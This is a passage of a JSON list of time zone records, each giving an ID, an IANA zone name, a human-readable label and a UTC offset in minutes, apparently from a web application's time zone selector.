(+03:00)","offset_name":"+03:00","offset":180},{"id":"256","name":"Asia\/Macau","name_for_humans":"Asia\/Macau + (+08:00)","offset_name":"+08:00","offset":480},{"id":"257","name":"Asia\/Magadan","name_for_humans":"Asia\/Magadan + (+11:00)","offset_name":"+11:00","offset":660},{"id":"258","name":"Asia\/Makassar","name_for_humans":"Asia\/Makassar + (+08:00)","offset_name":"+08:00","offset":480},{"id":"259","name":"Asia\/Manila","name_for_humans":"Asia\/Manila + (+08:00)","offset_name":"+08:00","offset":480},{"id":"260","name":"Asia\/Muscat","name_for_humans":"Asia\/Muscat + (+04:00)","offset_name":"+04:00","offset":240},{"id":"262","name":"Asia\/Novokuznetsk","name_for_humans":"Asia\/Novokuznetsk + (+07:00)","offset_name":"+07:00","offset":420},{"id":"263","name":"Asia\/Novosibirsk","name_for_humans":"Asia\/Novosibirsk + (+07:00)","offset_name":"+07:00","offset":420},{"id":"264","name":"Asia\/Omsk","name_for_humans":"Asia\/Omsk + (+06:00)","offset_name":"+06:00","offset":360},{"id":"265","name":"Asia\/Oral","name_for_humans":"Asia\/Oral + (+05:00)","offset_name":"+05:00","offset":300},{"id":"266","name":"Asia\/Phnom_Penh","name_for_humans":"Asia\/Phnom + Penh (+07:00)","offset_name":"+07:00","offset":420},{"id":"267","name":"Asia\/Pontianak","name_for_humans":"Asia\/Pontianak + (+07:00)","offset_name":"+07:00","offset":420},{"id":"268","name":"Asia\/Pyongyang","name_for_humans":"Asia\/Pyongyang + (+09:00)","offset_name":"+09:00","offset":540},{"id":"269","name":"Asia\/Qatar","name_for_humans":"Asia\/Qatar + (+03:00)","offset_name":"+03:00","offset":180},{"id":"113","name":"America\/Halifax","name_for_humans":"America\/Halifax + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"271","name":"Asia\/Qyzylorda","name_for_humans":"Asia\/Qyzylorda + (+05:00)","offset_name":"+05:00","offset":300},{"id":"272","name":"Asia\/Riyadh","name_for_humans":"Asia\/Riyadh + (+03:00)","offset_name":"+03:00","offset":180},{"id":"273","name":"Asia\/Sakhalin","name_for_humans":"Asia\/Sakhalin + (+11:00)","offset_name":"+11:00","offset":660},{"id":"274","name":"Asia\/Samarkand","name_for_humans":"Asia\/Samarkand + (+05:00)","offset_name":"+05:00","offset":300},{"id":"275","name":"Asia\/Seoul","name_for_humans":"Asia\/Seoul + (+09:00)","offset_name":"+09:00","offset":540},{"id":"276","name":"Asia\/Shanghai","name_for_humans":"Asia\/Shanghai + (+08:00)","offset_name":"+08:00","offset":480},{"id":"277","name":"Asia\/Singapore","name_for_humans":"Asia\/Singapore + (+08:00)","offset_name":"+08:00","offset":480},{"id":"231","name":"Asia\/Damascus","name_for_humans":"Asia\/Damascus + (+03:00)","offset_name":"+03:00","offset":180},{"id":"278","name":"Asia\/Srednekolymsk","name_for_humans":"Asia\/Srednekolymsk + (+11:00)","offset_name":"+11:00","offset":660},{"id":"279","name":"Asia\/Taipei","name_for_humans":"Asia\/Taipei + (+08:00)","offset_name":"+08:00","offset":480},{"id":"280","name":"Asia\/Tashkent","name_for_humans":"Asia\/Tashkent + (+05:00)","offset_name":"+05:00","offset":300},{"id":"281","name":"Asia\/Tbilisi","name_for_humans":"Asia\/Tbilisi + (+04:00)","offset_name":"+04:00","offset":240},{"id":"283","name":"Asia\/Thimphu","name_for_humans":"Asia\/Thimphu + (+06:00)","offset_name":"+06:00","offset":360},{"id":"284","name":"Asia\/Tokyo","name_for_humans":"Asia\/Tokyo + (+09:00)","offset_name":"+09:00","offset":540},{"id":"285","name":"Asia\/Tomsk","name_for_humans":"Asia\/Tomsk + (+07:00)","offset_name":"+07:00","offset":420},{"id":"225","name":"Asia\/Beirut","name_for_humans":"Asia\/Beirut + (+03:00)","offset_name":"+03:00","offset":180},{"id":"143","name":"America\/Merida","name_for_humans":"America\/Merida + (-06:00)","offset_name":"-06:00","offset":-360},{"id":"145","name":"America\/Mexico_City","name_for_humans":"America\/Mexico + City (-06:00)","offset_name":"-06:00","offset":-360},{"id":"141","name":"America\/Mazatlan","name_for_humans":"America\/Mazatlan + (-07:00)","offset_name":"-07:00","offset":-420},{"id":"286","name":"Asia\/Ulaanbaatar","name_for_humans":"Asia\/Ulaanbaatar + (+08:00)","offset_name":"+08:00","offset":480},{"id":"287","name":"Asia\/Urumqi","name_for_humans":"Asia\/Urumqi + (+06:00)","offset_name":"+06:00","offset":360},{"id":"288","name":"Asia\/Ust-Nera","name_for_humans":"Asia\/Ust-Nera + (+10:00)","offset_name":"+10:00","offset":600},{"id":"289","name":"Asia\/Vientiane","name_for_humans":"Asia\/Vientiane + (+07:00)","offset_name":"+07:00","offset":420},{"id":"290","name":"Asia\/Vladivostok","name_for_humans":"Asia\/Vladivostok + (+10:00)","offset_name":"+10:00","offset":600},{"id":"291","name":"Asia\/Yakutsk","name_for_humans":"Asia\/Yakutsk + (+09:00)","offset_name":"+09:00","offset":540},{"id":"292","name":"Asia\/Yangon","name_for_humans":"Asia\/Yangon + (+06:30)","offset_name":"+06:30","offset":390},{"id":"293","name":"Asia\/Yekaterinburg","name_for_humans":"Asia\/Yekaterinburg + (+05:00)","offset_name":"+05:00","offset":300},{"id":"294","name":"Asia\/Yerevan","name_for_humans":"Asia\/Yerevan + (+04:00)","offset_name":"+04:00","offset":240},{"id":"119","name":"America\/Indiana\/Petersburg","name_for_humans":"America\/Indiana\/Petersburg + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"140","name":"America\/Matamoros","name_for_humans":"America\/Matamoros + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"97","name":"America\/Denver","name_for_humans":"America\/Denver + (-06:00)","offset_name":"-06:00","offset":-360},{"id":"124","name":"America\/Inuvik","name_for_humans":"America\/Inuvik + (-06:00)","offset_name":"-06:00","offset":-360},{"id":"192","name":"America\/Tijuana","name_for_humans":"America\/Tijuana + (-07:00)","offset_name":"-07:00","offset":-420},{"id":"298","name":"Atlantic\/Cape_Verde","name_for_humans":"Atlantic\/Cape + Verde (-01:00)","offset_name":"-01:00","offset":-60},{"id":"301","name":"Atlantic\/Reykjavik","name_for_humans":"Atlantic\/Reykjavik + (+00:00)","offset_name":"+00:00","offset":0},{"id":"302","name":"Atlantic\/South_Georgia","name_for_humans":"Atlantic\/South + Georgia (-02:00)","offset_name":"-02:00","offset":-120},{"id":"303","name":"Atlantic\/St_Helena","name_for_humans":"Atlantic\/St + Helena (+00:00)","offset_name":"+00:00","offset":0},{"id":"304","name":"Atlantic\/Stanley","name_for_humans":"Atlantic\/Stanley + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"306","name":"Australia\/Brisbane","name_for_humans":"Australia\/Brisbane + (+10:00)","offset_name":"+10:00","offset":600},{"id":"309","name":"Australia\/Darwin","name_for_humans":"Australia\/Darwin + (+09:30)","offset_name":"+09:30","offset":570},{"id":"310","name":"Australia\/Eucla","name_for_humans":"Australia\/Eucla + (+08:45)","offset_name":"+08:45","offset":525},{"id":"312","name":"Australia\/Lindeman","name_for_humans":"Australia\/Lindeman + (+10:00)","offset_name":"+10:00","offset":600},{"id":"315","name":"Australia\/Perth","name_for_humans":"Australia\/Perth + (+08:00)","offset_name":"+08:00","offset":480},{"id":"319","name":"Europe\/Astrakhan","name_for_humans":"Europe\/Astrakhan + (+04:00)","offset_name":"+04:00","offset":240},{"id":"335","name":"Europe\/Istanbul","name_for_humans":"Europe\/Istanbul + (+03:00)","offset_name":"+03:00","offset":180},{"id":"337","name":"Europe\/Kaliningrad","name_for_humans":"Europe\/Kaliningrad + (+02:00)","offset_name":"+02:00","offset":120},{"id":"339","name":"Europe\/Kirov","name_for_humans":"Europe\/Kirov + (+03:00)","offset_name":"+03:00","offset":180},{"id":"347","name":"Europe\/Minsk","name_for_humans":"Europe\/Minsk + (+03:00)","offset_name":"+03:00","offset":180},{"id":"349","name":"Europe\/Moscow","name_for_humans":"Europe\/Moscow + (+03:00)","offset_name":"+03:00","offset":180},{"id":"356","name":"Europe\/Samara","name_for_humans":"Europe\/Samara + (+04:00)","offset_name":"+04:00","offset":240},{"id":"359","name":"Europe\/Saratov","name_for_humans":"Europe\/Saratov + (+04:00)","offset_name":"+04:00","offset":240},{"id":"360","name":"Europe\/Simferopol","name_for_humans":"Europe\/Simferopol + (+03:00)","offset_name":"+03:00","offset":180},{"id":"366","name":"Europe\/Ulyanovsk","name_for_humans":"Europe\/Ulyanovsk + (+04:00)","offset_name":"+04:00","offset":240},{"id":"144","name":"America\/Metlakatla","name_for_humans":"America\/Metlakatla + (-08:00)","offset_name":"-08:00","offset":-480},{"id":"154","name":"America\/Nome","name_for_humans":"America\/Nome + (-08:00)","offset_name":"-08:00","offset":-480},{"id":"245","name":"Asia\/Jerusalem","name_for_humans":"Asia\/Jerusalem + (+03:00)","offset_name":"+03:00","offset":180},{"id":"325","name":"Europe\/Bucharest","name_for_humans":"Europe\/Bucharest + (+03:00)","offset_name":"+03:00","offset":180},{"id":"160","name":"America\/Ojinaga","name_for_humans":"America\/Ojinaga + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"21","name":"Africa\/El_Aaiun","name_for_humans":"Africa\/El + Aaiun (+01:00)","offset_name":"+01:00","offset":60},{"id":"213","name":"Asia\/Almaty","name_for_humans":"Asia\/Almaty + (+05:00)","offset_name":"+05:00","offset":300},{"id":"377","name":"Indian\/Antananarivo","name_for_humans":"Indian\/Antananarivo + (+03:00)","offset_name":"+03:00","offset":180},{"id":"378","name":"Indian\/Chagos","name_for_humans":"Indian\/Chagos + (+06:00)","offset_name":"+06:00","offset":360},{"id":"379","name":"Indian\/Christmas","name_for_humans":"Indian\/Christmas + (+07:00)","offset_name":"+07:00","offset":420},{"id":"380","name":"Indian\/Cocos","name_for_humans":"Indian\/Cocos + (+06:30)","offset_name":"+06:30","offset":390},{"id":"381","name":"Indian\/Comoro","name_for_humans":"Indian\/Comoro + (+03:00)","offset_name":"+03:00","offset":180},{"id":"382","name":"Indian\/Kerguelen","name_for_humans":"Indian\/Kerguelen + (+05:00)","offset_name":"+05:00","offset":300},{"id":"383","name":"Indian\/Mahe","name_for_humans":"Indian\/Mahe + (+04:00)","offset_name":"+04:00","offset":240},{"id":"384","name":"Indian\/Maldives","name_for_humans":"Indian\/Maldives + (+05:00)","offset_name":"+05:00","offset":300},{"id":"385","name":"Indian\/Mauritius","name_for_humans":"Indian\/Mauritius + (+04:00)","offset_name":"+04:00","offset":240},{"id":"386","name":"Indian\/Mayotte","name_for_humans":"Indian\/Mayotte + (+03:00)","offset_name":"+03:00","offset":180},{"id":"387","name":"Indian\/Reunion","name_for_humans":"Indian\/Reunion + (+04:00)","offset_name":"+04:00","offset":240},{"id":"390","name":"Pacific\/Bougainville","name_for_humans":"Pacific\/Bougainville + (+11:00)","offset_name":"+11:00","offset":660},{"id":"392","name":"Pacific\/Chuuk","name_for_humans":"Pacific\/Chuuk + (+10:00)","offset_name":"+10:00","offset":600},{"id":"394","name":"Pacific\/Efate","name_for_humans":"Pacific\/Efate + (+11:00)","offset_name":"+11:00","offset":660},{"id":"395","name":"Pacific\/Enderbury","name_for_humans":"Pacific\/Enderbury + (+13:00)","offset_name":"+13:00","offset":780},{"id":"396","name":"Pacific\/Fakaofo","name_for_humans":"Pacific\/Fakaofo + (+13:00)","offset_name":"+13:00","offset":780},{"id":"398","name":"Pacific\/Funafuti","name_for_humans":"Pacific\/Funafuti + (+12:00)","offset_name":"+12:00","offset":720},{"id":"399","name":"Pacific\/Galapagos","name_for_humans":"Pacific\/Galapagos + (-06:00)","offset_name":"-06:00","offset":-360},{"id":"400","name":"Pacific\/Gambier","name_for_humans":"Pacific\/Gambier + (-09:00)","offset_name":"-09:00","offset":-540},{"id":"401","name":"Pacific\/Guadalcanal","name_for_humans":"Pacific\/Guadalcanal + (+11:00)","offset_name":"+11:00","offset":660},{"id":"402","name":"Pacific\/Guam","name_for_humans":"Pacific\/Guam + (+10:00)","offset_name":"+10:00","offset":600},{"id":"403","name":"Pacific\/Honolulu","name_for_humans":"Pacific\/Honolulu + (-10:00)","offset_name":"-10:00","offset":-600},{"id":"404","name":"Pacific\/Kiritimati","name_for_humans":"Pacific\/Kiritimati + (+14:00)","offset_name":"+14:00","offset":840},{"id":"405","name":"Pacific\/Kosrae","name_for_humans":"Pacific\/Kosrae + (+11:00)","offset_name":"+11:00","offset":660},{"id":"406","name":"Pacific\/Kwajalein","name_for_humans":"Pacific\/Kwajalein + (+12:00)","offset_name":"+12:00","offset":720},{"id":"372","name":"Europe\/Volgograd","name_for_humans":"Europe\/Volgograd + (+03:00)","offset_name":"+03:00","offset":180},{"id":"407","name":"Pacific\/Majuro","name_for_humans":"Pacific\/Majuro + (+12:00)","offset_name":"+12:00","offset":720},{"id":"408","name":"Pacific\/Marquesas","name_for_humans":"Pacific\/Marquesas + (-09:30)","offset_name":"-09:30","offset":-570},{"id":"409","name":"Pacific\/Midway","name_for_humans":"Pacific\/Midway + (-11:00)","offset_name":"-11:00","offset":-660},{"id":"410","name":"Pacific\/Nauru","name_for_humans":"Pacific\/Nauru + (+12:00)","offset_name":"+12:00","offset":720},{"id":"411","name":"Pacific\/Niue","name_for_humans":"Pacific\/Niue + (-11:00)","offset_name":"-11:00","offset":-660},{"id":"413","name":"Pacific\/Noumea","name_for_humans":"Pacific\/Noumea + (+11:00)","offset_name":"+11:00","offset":660},{"id":"414","name":"Pacific\/Pago_Pago","name_for_humans":"Pacific\/Pago + Pago (-11:00)","offset_name":"-11:00","offset":-660},{"id":"415","name":"Pacific\/Palau","name_for_humans":"Pacific\/Palau + (+09:00)","offset_name":"+09:00","offset":540},{"id":"416","name":"Pacific\/Pitcairn","name_for_humans":"Pacific\/Pitcairn + (-08:00)","offset_name":"-08:00","offset":-480},{"id":"417","name":"Pacific\/Pohnpei","name_for_humans":"Pacific\/Pohnpei + (+11:00)","offset_name":"+11:00","offset":660},{"id":"418","name":"Pacific\/Port_Moresby","name_for_humans":"Pacific\/Port + Moresby (+10:00)","offset_name":"+10:00","offset":600},{"id":"419","name":"Pacific\/Rarotonga","name_for_humans":"Pacific\/Rarotonga + (-10:00)","offset_name":"-10:00","offset":-600},{"id":"420","name":"Pacific\/Saipan","name_for_humans":"Pacific\/Saipan + (+10:00)","offset_name":"+10:00","offset":600},{"id":"397","name":"Pacific\/Fiji","name_for_humans":"Pacific\/Fiji + (+12:00)","offset_name":"+12:00","offset":720},{"id":"421","name":"Pacific\/Tahiti","name_for_humans":"Pacific\/Tahiti + (-10:00)","offset_name":"-10:00","offset":-600},{"id":"422","name":"Pacific\/Tarawa","name_for_humans":"Pacific\/Tarawa + (+12:00)","offset_name":"+12:00","offset":720},{"id":"423","name":"Pacific\/Tongatapu","name_for_humans":"Pacific\/Tongatapu + (+13:00)","offset_name":"+13:00","offset":780},{"id":"424","name":"Pacific\/Wake","name_for_humans":"Pacific\/Wake + (+12:00)","offset_name":"+12:00","offset":720},{"id":"425","name":"Pacific\/Wallis","name_for_humans":"Pacific\/Wallis + (+12:00)","offset_name":"+12:00","offset":720},{"id":"426","name":"UTC","name_for_humans":"UTC + (+00:00)","offset_name":"+00:00","offset":0},{"id":"427","name":"Atlantic\/Cape_Verde","name_for_humans":"Atlantic\/Cape + Verde (-01:00)","offset_name":"-01:00","offset":-60},{"id":"428","name":"America\/Regina","name_for_humans":"America\/Regina + (-06:00)","offset_name":"-06:00","offset":-360},{"id":"388","name":"Pacific\/Apia","name_for_humans":"Pacific\/Apia + (+13:00)","offset_name":"+13:00","offset":780},{"id":"107","name":"America\/Grand_Turk","name_for_humans":"America\/Grand + Turk (-04:00)","offset_name":"-04:00","offset":-240},{"id":"142","name":"America\/Menominee","name_for_humans":"America\/Menominee + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"199","name":"America\/Yellowknife","name_for_humans":"America\/Yellowknife + (-06:00)","offset_name":"-06:00","offset":-360},{"id":"328","name":"Europe\/Chisinau","name_for_humans":"Europe\/Chisinau + (+03:00)","offset_name":"+03:00","offset":180},{"id":"329","name":"Europe\/Copenhagen","name_for_humans":"Europe\/Copenhagen + (+02:00)","offset_name":"+02:00","offset":120},{"id":"190","name":"America\/Thule","name_for_humans":"America\/Thule + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"471","name":"America\/Resolute","name_for_humans":"America\/Resolute + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"429","name":"Asia\/Sakhalin","name_for_humans":"Asia\/Sakhalin + (+11:00)","offset_name":"+11:00","offset":660},{"id":"430","name":"America\/Belize","name_for_humans":"America\/Belize + (-06:00)","offset_name":"-06:00","offset":-360},{"id":"431","name":"America\/Danmarkshavn","name_for_humans":"America\/Danmarkshavn + (+00:00)","offset_name":"+00:00","offset":0},{"id":"433","name":"America\/Whitehorse","name_for_humans":"America\/Whitehorse + (-07:00)","offset_name":"-07:00","offset":-420},{"id":"434","name":"America\/St_Barthelemy","name_for_humans":"America\/St + Barthelemy (-04:00)","offset_name":"-04:00","offset":-240},{"id":"435","name":"UTC","name_for_humans":"UTC + (+00:00)","offset_name":"+00:00","offset":0},{"id":"436","name":"America\/St_Vincent","name_for_humans":"America\/St + Vincent (-04:00)","offset_name":"-04:00","offset":-240},{"id":"437","name":"America\/Grenada","name_for_humans":"America\/Grenada + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"438","name":"Africa\/Libreville","name_for_humans":"Africa\/Libreville + (+01:00)","offset_name":"+01:00","offset":60},{"id":"441","name":"America\/Hermosillo","name_for_humans":"America\/Hermosillo + (-07:00)","offset_name":"-07:00","offset":-420},{"id":"443","name":"Asia\/Qatar","name_for_humans":"Asia\/Qatar + (+03:00)","offset_name":"+03:00","offset":180},{"id":"308","name":"Australia\/Currie","name_for_humans":"Australia\/Currie + (+10:00)","offset_name":"+10:00","offset":600},{"id":"444","name":"Asia\/Dhaka","name_for_humans":"Asia\/Dhaka + (+06:00)","offset_name":"+06:00","offset":360},{"id":"445","name":"Asia\/Ashgabat","name_for_humans":"Asia\/Ashgabat + (+05:00)","offset_name":"+05:00","offset":300},{"id":"446","name":"Europe\/Kaliningrad","name_for_humans":"Europe\/Kaliningrad + (+02:00)","offset_name":"+02:00","offset":120},{"id":"449","name":"Asia\/Aqtau","name_for_humans":"Asia\/Aqtau + (+05:00)","offset_name":"+05:00","offset":300},{"id":"450","name":"Africa\/Windhoek","name_for_humans":"Africa\/Windhoek + (+02:00)","offset_name":"+02:00","offset":120},{"id":"451","name":"Asia\/Tashkent","name_for_humans":"Asia\/Tashkent + (+05:00)","offset_name":"+05:00","offset":300},{"id":"452","name":"Europe\/Saratov","name_for_humans":"Europe\/Saratov + (+04:00)","offset_name":"+04:00","offset":240},{"id":"453","name":"UTC","name_for_humans":"UTC + (+00:00)","offset_name":"+00:00","offset":0},{"id":"454","name":"America\/Hermosillo","name_for_humans":"America\/Hermosillo + (-07:00)","offset_name":"-07:00","offset":-420},{"id":"456","name":"Asia\/Irkutsk","name_for_humans":"Asia\/Irkutsk + (+08:00)","offset_name":"+08:00","offset":480},{"id":"458","name":"Africa\/Malabo","name_for_humans":"Africa\/Malabo + (+01:00)","offset_name":"+01:00","offset":60},{"id":"459","name":"Pacific\/Saipan","name_for_humans":"Pacific\/Saipan + (+10:00)","offset_name":"+10:00","offset":600},{"id":"460","name":"America\/Guyana","name_for_humans":"America\/Guyana + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"461","name":"Asia\/Tbilisi","name_for_humans":"Asia\/Tbilisi + (+04:00)","offset_name":"+04:00","offset":240},{"id":"466","name":"Indian\/Christmas","name_for_humans":"Indian\/Christmas + (+07:00)","offset_name":"+07:00","offset":420},{"id":"468","name":"America\/Swift_Current","name_for_humans":"America\/Swift + Current (-06:00)","offset_name":"-06:00","offset":-360},{"id":"473","name":"Asia\/Kamchatka","name_for_humans":"Asia\/Kamchatka + (+12:00)","offset_name":"+12:00","offset":720},{"id":"474","name":"Asia\/Dubai","name_for_humans":"Asia\/Dubai + (+04:00)","offset_name":"+04:00","offset":240},{"id":"475","name":"America\/Danmarkshavn","name_for_humans":"America\/Danmarkshavn + (+00:00)","offset_name":"+00:00","offset":0},{"id":"476","name":"America\/Santo_Domingo","name_for_humans":"America\/Santo + Domingo (-04:00)","offset_name":"-04:00","offset":-240},{"id":"477","name":"Africa\/Johannesburg","name_for_humans":"Africa\/Johannesburg + (+02:00)","offset_name":"+02:00","offset":120},{"id":"478","name":"Asia\/Kuala_Lumpur","name_for_humans":"Asia\/Kuala + Lumpur (+08:00)","offset_name":"+08:00","offset":480},{"id":"479","name":"Asia\/Dushanbe","name_for_humans":"Asia\/Dushanbe + (+05:00)","offset_name":"+05:00","offset":300},{"id":"481","name":"Asia\/Thimphu","name_for_humans":"Asia\/Thimphu + (+06:00)","offset_name":"+06:00","offset":360},{"id":"482","name":"America\/La_Paz","name_for_humans":"America\/La + Paz (-04:00)","offset_name":"-04:00","offset":-240},{"id":"483","name":"Europe\/Saratov","name_for_humans":"Europe\/Saratov + (+04:00)","offset_name":"+04:00","offset":240},{"id":"485","name":"Asia\/Kuching","name_for_humans":"Asia\/Kuching + (+08:00)","offset_name":"+08:00","offset":480},{"id":"486","name":"America\/Caracas","name_for_humans":"America\/Caracas + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"307","name":"Australia\/Broken_Hill","name_for_humans":"Australia\/Broken + Hill (+09:30)","offset_name":"+09:30","offset":570},{"id":"488","name":"Asia\/Colombo","name_for_humans":"Asia\/Colombo + (+05:30)","offset_name":"+05:30","offset":330},{"id":"490","name":"America\/Cuiaba","name_for_humans":"America\/Cuiaba + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"491","name":"America\/Argentina\/Ushuaia","name_for_humans":"America\/Argentina\/Ushuaia + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"492","name":"Asia\/Ho_Chi_Minh","name_for_humans":"Asia\/Ho + Chi Minh (+07:00)","offset_name":"+07:00","offset":420},{"id":"493","name":"Africa\/Ouagadougou","name_for_humans":"Africa\/Ouagadougou + (+00:00)","offset_name":"+00:00","offset":0},{"id":"494","name":"Africa\/Lubumbashi","name_for_humans":"Africa\/Lubumbashi + (+02:00)","offset_name":"+02:00","offset":120},{"id":"495","name":"America\/Porto_Velho","name_for_humans":"America\/Porto + Velho (-04:00)","offset_name":"-04:00","offset":-240},{"id":"496","name":"Asia\/Tashkent","name_for_humans":"Asia\/Tashkent + (+05:00)","offset_name":"+05:00","offset":300},{"id":"499","name":"America\/Port_of_Spain","name_for_humans":"America\/Port + of Spain (-04:00)","offset_name":"-04:00","offset":-240},{"id":"500","name":"America\/St_Thomas","name_for_humans":"America\/St + Thomas (-04:00)","offset_name":"-04:00","offset":-240},{"id":"502","name":"America\/Puerto_Rico","name_for_humans":"America\/Puerto + Rico (-04:00)","offset_name":"-04:00","offset":-240},{"id":"448","name":"Africa\/Cairo","name_for_humans":"Africa\/Cairo + (+03:00)","offset_name":"+03:00","offset":180},{"id":"89","name":"America\/Chihuahua","name_for_humans":"America\/Chihuahua + (-06:00)","offset_name":"-06:00","offset":-360},{"id":"177","name":"America\/Santiago","name_for_humans":"America\/Santiago + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"393","name":"Pacific\/Easter","name_for_humans":"Pacific\/Easter + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"133","name":"America\/Los_Angeles","name_for_humans":"America\/Los + Angeles (-07:00)","offset_name":"-07:00","offset":-420},{"id":"198","name":"America\/Yakutat","name_for_humans":"America\/Yakutat + (-08:00)","offset_name":"-08:00","offset":-480},{"id":"181","name":"America\/Sitka","name_for_humans":"America\/Sitka + (-08:00)","offset_name":"-08:00","offset":-480},{"id":"53","name":"America\/Adak","name_for_humans":"America\/Adak + (-09:00)","offset_name":"-09:00","offset":-540},{"id":"338","name":"Europe\/Kiev","name_for_humans":"Europe\/Kiev + (+03:00)","offset_name":"+03:00","offset":180},{"id":"148","name":"America\/Monterrey","name_for_humans":"America\/Monterrey + (-06:00)","offset_name":"-06:00","offset":-360},{"id":"22","name":"Africa\/Freetown","name_for_humans":"Africa\/Freetown + (+00:00)","offset_name":"+00:00","offset":0},{"id":"71","name":"America\/Asuncion","name_for_humans":"America\/Asuncion + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"334","name":"Europe\/Isle_of_Man","name_for_humans":"Europe\/Isle + of Man (+01:00)","offset_name":"+01:00","offset":60},{"id":"503","name":"America\/Regina","name_for_humans":"America\/Regina + (-06:00)","offset_name":"-06:00","offset":-360},{"id":"506","name":"Africa\/Bissau","name_for_humans":"Africa\/Bissau + (+00:00)","offset_name":"+00:00","offset":0},{"id":"508","name":"America\/Swift_Current","name_for_humans":"America\/Swift + Current (-06:00)","offset_name":"-06:00","offset":-360},{"id":"511","name":"America\/Araguaina","name_for_humans":"America\/Araguaina + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"512","name":"Asia\/Tomsk","name_for_humans":"Asia\/Tomsk + (+07:00)","offset_name":"+07:00","offset":420},{"id":"514","name":"Asia\/Magadan","name_for_humans":"Asia\/Magadan + (+11:00)","offset_name":"+11:00","offset":660},{"id":"282","name":"Asia\/Tehran","name_for_humans":"Asia\/Tehran + (+03:30)","offset_name":"+03:30","offset":210},{"id":"74","name":"America\/Bahia_Banderas","name_for_humans":"America\/Bahia + Banderas (-06:00)","offset_name":"-06:00","offset":-360},{"id":"238","name":"Asia\/Hebron","name_for_humans":"Asia\/Hebron + (+03:00)","offset_name":"+03:00","offset":180},{"id":"469","name":"Africa\/Cairo","name_for_humans":"Africa\/Cairo + (+03:00)","offset_name":"+03:00","offset":180},{"id":"214","name":"Asia\/Amman","name_for_humans":"Asia\/Amman + (+03:00)","offset_name":"+03:00","offset":180},{"id":"205","name":"Antarctica\/McMurdo","name_for_humans":"Antarctica\/McMurdo + (+12:00)","offset_name":"+12:00","offset":720},{"id":"389","name":"Pacific\/Auckland","name_for_humans":"Pacific\/Auckland + (+12:00)","offset_name":"+12:00","offset":720},{"id":"391","name":"Pacific\/Chatham","name_for_humans":"Pacific\/Chatham + (+12:45)","offset_name":"+12:45","offset":765},{"id":"501","name":"Antarctica\/McMurdo","name_for_humans":"Antarctica\/McMurdo + (+12:00)","offset_name":"+12:00","offset":720},{"id":"270","name":"Asia\/Qostanay","name_for_humans":"Asia\/Qostanay + (+05:00)","offset_name":"+05:00","offset":300},{"id":"412","name":"Pacific\/Norfolk","name_for_humans":"Pacific\/Norfolk + (+11:00)","offset_name":"+11:00","offset":660},{"id":"367","name":"Europe\/Uzhgorod","name_for_humans":"Europe\/Uzhgorod + (+03:00)","offset_name":"+03:00","offset":180},{"id":"362","name":"Europe\/Sofia","name_for_humans":"Europe\/Sofia + (+03:00)","offset_name":"+03:00","offset":180},{"id":"15","name":"Africa\/Ceuta","name_for_humans":"Africa\/Ceuta + (+02:00)","offset_name":"+02:00","offset":120},{"id":"313","name":"Australia\/Lord_Howe","name_for_humans":"Australia\/Lord + Howe (+10:30)","offset_name":"+10:30","offset":630},{"id":"513","name":"Australia\/Lord_Howe","name_for_humans":"Australia\/Lord + Howe (+10:30)","offset_name":"+10:30","offset":630},{"id":"311","name":"Australia\/Hobart","name_for_humans":"Australia\/Hobart + (+10:00)","offset_name":"+10:00","offset":600},{"id":"203","name":"Antarctica\/Macquarie","name_for_humans":"Antarctica\/Macquarie + (+10:00)","offset_name":"+10:00","offset":600},{"id":"314","name":"Australia\/Melbourne","name_for_humans":"Australia\/Melbourne + (+10:00)","offset_name":"+10:00","offset":600},{"id":"316","name":"Australia\/Sydney","name_for_humans":"Australia\/Sydney + (+10:00)","offset_name":"+10:00","offset":600},{"id":"211","name":"Arctic\/Longyearbyen","name_for_humans":"Arctic\/Longyearbyen + (+02:00)","offset_name":"+02:00","offset":120},{"id":"261","name":"Asia\/Nicosia","name_for_humans":"Asia\/Nicosia + (+03:00)","offset_name":"+03:00","offset":180},{"id":"159","name":"America\/Nuuk","name_for_humans":"America\/Nuuk + (-01:00)","offset_name":"-01:00","offset":-60},{"id":"146","name":"America\/Miquelon","name_for_humans":"America\/Miquelon + (-02:00)","offset_name":"-02:00","offset":-120},{"id":"114","name":"America\/Havana","name_for_humans":"America\/Havana + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"121","name":"America\/Indiana\/Vevay","name_for_humans":"America\/Indiana\/Vevay + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"122","name":"America\/Indiana\/Vincennes","name_for_humans":"America\/Indiana\/Vincennes + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"118","name":"America\/Indiana\/Marengo","name_for_humans":"America\/Indiana\/Marengo + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"165","name":"America\/Port-au-Prince","name_for_humans":"America\/Port-au-Prince + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"162","name":"America\/Pangnirtung","name_for_humans":"America\/Pangnirtung + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"156","name":"America\/North_Dakota\/Beulah","name_for_humans":"America\/North + Dakota\/Beulah (-05:00)","offset_name":"-05:00","offset":-300},{"id":"158","name":"America\/North_Dakota\/New_Salem","name_for_humans":"America\/North + Dakota\/New Salem (-05:00)","offset_name":"-05:00","offset":-300},{"id":"170","name":"America\/Rainy_River","name_for_humans":"America\/Rainy + River (-05:00)","offset_name":"-05:00","offset":-300},{"id":"299","name":"Atlantic\/Faroe","name_for_humans":"Atlantic\/Faroe + (+01:00)","offset_name":"+01:00","offset":60},{"id":"300","name":"Atlantic\/Madeira","name_for_humans":"Atlantic\/Madeira + (+01:00)","offset_name":"+01:00","offset":60},{"id":"320","name":"Europe\/Athens","name_for_humans":"Europe\/Athens + 